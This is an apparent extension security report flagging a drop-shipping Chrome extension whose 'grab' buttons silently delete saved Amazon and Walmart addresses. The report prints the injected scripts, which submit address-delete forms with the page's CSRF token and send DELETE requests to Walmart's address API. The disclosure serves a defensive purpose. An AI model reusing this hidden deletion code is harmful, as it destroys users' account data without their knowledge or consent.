Is Easync Product ID Grab Tool for Drop Shipping safe?

High risk

Easync Product ID Grab Tool for Drop Shipping deletes saved Amazon and Walmart addresses when its grabber runs on address pages.

Its Run and Timing buttons inject marketplace scripts into the active tab; on Amazon and Walmart address-book pages those scripts call the sites' address deletion endpoints. The requests include address IDs and form or session fields needed by the sites to remove the saved entries.

Easync Servicesv3.1.2Chrome Web Store
77Risk
Who publishes it

Easync - no other listings under this identity, 1 shared hostname

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Easync Services
Declared legal entity
Easync
Registered address
Peyton St, Sherman, US 75090, United State
Registered contact
Alex Lv

Shared hosts - 1 hostname

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

kmart.com
Also called by 4 other listings, including ProCouponCode Autopilot: Online Coupon Codes, DSM Auto-Paste

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Amazon grab action deletes saved addresses

When you run the grab or timing action on an Amazon address book page, the popup injects the Amazon market script.

It posts each form's addressID, isStoreAddress, and csrfToken to Amazon's deletion endpoint, removing saved addresses.

Severity
High unwanted
Type
Unexpected
CWE
CWE-506
Source
Dynamic sandbox
What actually happens
You did this

You run the extension's grab workflow while an Amazon address book page is open.

The same function is used by the one-time grab button and by the five-second timing grab control.

The extension did this

The extension submits Amazon address-delete forms for the saved address entries it finds.

The page is treated as an address book when the script finds an element with the address-column class.

Fields posted to Amazon's address deletion endpoint
  • Saved address identifier
    addressID=A3J5Q9K8LM2N7P

    This identifies which saved Amazon address entry the request targets.

  • Store-address flag
    isStoreAddress=false

    This preserves a form value Amazon expects when processing the address deletion request.

  • Form authorization token
    csrfToken=amzn1.account.ABCDEFGHIJKLMNOPQRSTUVWX1234567890

    This lets the request use the delete form already present in your logged-in Amazon page.

Captured request
POSThttps://www.amazon.com/a/addresses/delete

The code reloads the Amazon address book page after the final successful deletion response.

Headers
Content-Type
application/x-www-form-urlencoded
Each matching address form becomes a deletion request

  1. per form

    You did

    The script finds a row containing an Amazon address deletion form.

    The extension did

    It posts that form's addressID, isStoreAddress, and csrfToken values to Amazon.

  2. after 200 OK

    You did

    Amazon returns a successful response for a deletion request.

    The extension did

    The script decrements its counter and reloads the address book page after the last response.

The code that does this

Popup injection and Amazon address deletion branch

Readable version

Readable control flow for popup injection

popup.js
function runGrabber() {    chrome.storage.sync.get({ market: 'empty' }, (settings) => {        chrome.tabs.query({ active: true, currentWindow: true }, (tabs) => {            if (tabs.length === 0 || !settings.market) {                return;            }            const marketScript = `market/${settings.market}.js`;            chrome.scripting.executeScript({                target: { tabId: tabs[0].id },                files: [marketScript]            }).catch((error) => console.error(error));        });    });    setTimeout(() => textStatus('Next Page.'), 1000);    loadParams();}function timingGrabber() {    $('.js-timing i').toggleClass('fa-clock-o fa-stop');    if (!intervalId) {        textStatus('Run Every 5s');        intervalId = setInterval(() => runGrabber(), 5000);    }}

Readable deletion branch

market/amazon.js
if (addressBook) {    let remainingDeletes = document.getElementsByClassName('address-column').length - 1;    function deleteAddress(form) {        const body =            'addressID=' + form.querySelector('[name="addressID"]').value +            '&isStoreAddress=' + form.querySelector('[name="isStoreAddress"]').value +            '&csrfToken=' + encodeURIComponent(form.querySelector('[name="csrfToken"]').value);        const request = new XMLHttpRequest();        request.open('POST', '/a/addresses/delete', true);        request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');        request.onreadystatechange = () => {            if (request.readyState === 4 && request.status === 200) {                remainingDeletes--;                if (!remainingDeletes) {                    window.location = 'http://amazon.com/a/addresses';                }            }        };        request.send(body);    }    for (const row of document.getElementsByClassName('a-spacing-micro')) {        if (remainingDeletes) {            row.querySelectorAll('[action="/a/addresses/delete"]').forEach((form) => deleteAddress(form));        }    }}

Walmart grab action deletes saved shipping addresses

When you run the Walmart grab workflow on the shipping-address page, the popup injects the Walmart market script into the tab.

It calls Walmart's saved-address API and sends a DELETE request per address ID, removing saved addresses.

Severity
High unwanted
Type
Unexpected
CWE
CWE-506
Source
Dynamic sandbox
What actually happens
You did this

You run the extension's Walmart grab workflow on a Walmart shipping-address page.

The delete branch runs when the page path includes shippingaddresses and no first-name address edit field is present.

The extension did this

The extension fetches saved Walmart shipping addresses and sends DELETE requests for the returned IDs.

After the loop, the script navigates back to Walmart's shipping-address page.

Fields involved in the Walmart deletion flow
  • Customer address API path
    /account/electrode/account/api/customer/:CID/shipping-address/pagination?limit=7

    This page flow identifies the signed-in Walmart customer whose saved addresses are being listed.

  • Saved address ID
    0f8b97e2-0a51-4dd7-9b23-7ef3c64a28d1

    This identifies which saved Walmart shipping address is removed by each DELETE request.

  • Saved address list
    addresses[0].id=0f8b97e2-0a51-4dd7-9b23-7ef3c64a28d1

    The response contains the saved shipping-address records the script loops through.

Captured request
GEThttps://www.walmart.com/account/electrode/account/api/customer/:CID/shipping-address/pagination?limit=7

The code expects a JSON response with an addresses array.

Captured request
DELETEhttps://www.walmart.com/account/electrode/account/api/customer/:CID/shipping-address/0f8b97e2-0a51-4dd7-9b23-7ef3c64a28d1

The code sends a synchronous DELETE request for each address ID and does not record a response body.

Each returned Walmart address ID becomes a DELETE request

  1. after GET

    You did

    Walmart's address API returns the saved shipping-address list.

    The extension did

    The script parses the addresses array from the response.

  2. per address

    You did

    The loop reaches a saved address entry with an ID.

    The extension did

    The script sends a DELETE request to Walmart for that address ID.

  3. after loop

    You did

    The deletion loop finishes.

    The extension did

    The script navigates back to Walmart's shipping-address page.

The code that does this

Popup injection and Walmart saved-address deletion branch

Readable version

Readable control flow for popup injection

popup.js
function runGrabber() {    chrome.storage.sync.get({ market: 'empty' }, (settings) => {        chrome.tabs.query({ active: true, currentWindow: true }, (tabs) => {            if (tabs.length === 0 || !settings.market) {                return;            }            const marketScript = `market/${settings.market}.js`;            chrome.scripting.executeScript({                target: { tabId: tabs[0].id },                files: [marketScript]            }).catch((error) => console.error(error));        });    });    setTimeout(() => textStatus('Next Page.'), 1000);    loadParams();}function timingGrabber() {    $('.js-timing i').toggleClass('fa-clock-o fa-stop');    if (!intervalId) {        textStatus('Run Every 5s');        intervalId = setInterval(() => runGrabber(), 5000);    }}

Readable deletion branch

market/walmart.js
const pathParts = window.location.pathname.split('/');let pageSection = pathParts[0];if (pathParts.length > 2) {    pageSection = pathParts[2];}const isShippingAddressesPage = pageSection.match(/shippingaddresses/);const isNotAddressEditForm = !document.querySelector('input[name="firstName"]');if (isShippingAddressesPage && isShippingAddressesPage[0] === 'shippingaddresses' && isNotAddressEditForm) {    const listRequest = new XMLHttpRequest();    const listUrl = 'https://www.walmart.com/account/electrode/account/api/customer/:CID/shipping-address/pagination?limit=7';    listRequest.open('GET', listUrl, true);    listRequest.onreadystatechange = function() {        if (listRequest.readyState == 4 && listRequest.status == 200) {            const response = JSON.parse(listRequest.responseText);            for (const address of response.addresses) {                const deleteRequest = new XMLHttpRequest();                const deleteUrl = 'https://www.walmart.com/account/electrode/account/api/customer/:CID/shipping-address/' + address.id;                deleteRequest.open('DELETE', deleteUrl, false);                deleteRequest.send(null);            }            window.location = 'https://www.walmart.com/account/shippingaddresses';        }    };    listRequest.send(null);}

What it can do

Permissions this extension asks for, as declared in version 3.1.2. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on amazon.com

    http://*.amazon.com/* and 1 more

  • Read and change your data on amazon.co.uk

    http://*.amazon.co.uk/* and 1 more

  • Read and change your data on amazon.ca

    http://*.amazon.ca/* and 1 more

  • Read and change your data on amazon.de

    http://*.amazon.de/* and 1 more

  • Read and change your data on amazon.fr

    http://*.amazon.fr/* and 1 more

  • Read and change your data on amazon.it

    http://*.amazon.it/* and 1 more

  • Read and change your data on amazon.es

    http://*.amazon.es/* and 1 more

  • Read and change your data on amazon.co.jp

    http://*.amazon.co.jp/* and 1 more

  • Act on the current tab, but only after you click the extension

    activeTab

  • Start, monitor and manage your downloads

    downloads

  • Read whatever you have copied to your clipboard

    clipboardRead

  • Write to your clipboard

    clipboardWrite

  • Store data in your browser

    storage

  • Run its own code inside the pages you visit

    scripting

Where it sends data

Destinations our analysis observed Easync Product ID Grab Tool for Drop Shipping contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • amazon.com

    Easync Product ID Grab Tool for Drop Shipping sends data to amazon.com. 3 other extensions we have analysed send data here.

  • www.walmart.com

    Easync Product ID Grab Tool for Drop Shipping sends data to www.walmart.com. No other extension we have analysed sends data here.

Updated 30 September 2026cailnmbnfboealffnempgplnfcjoibgb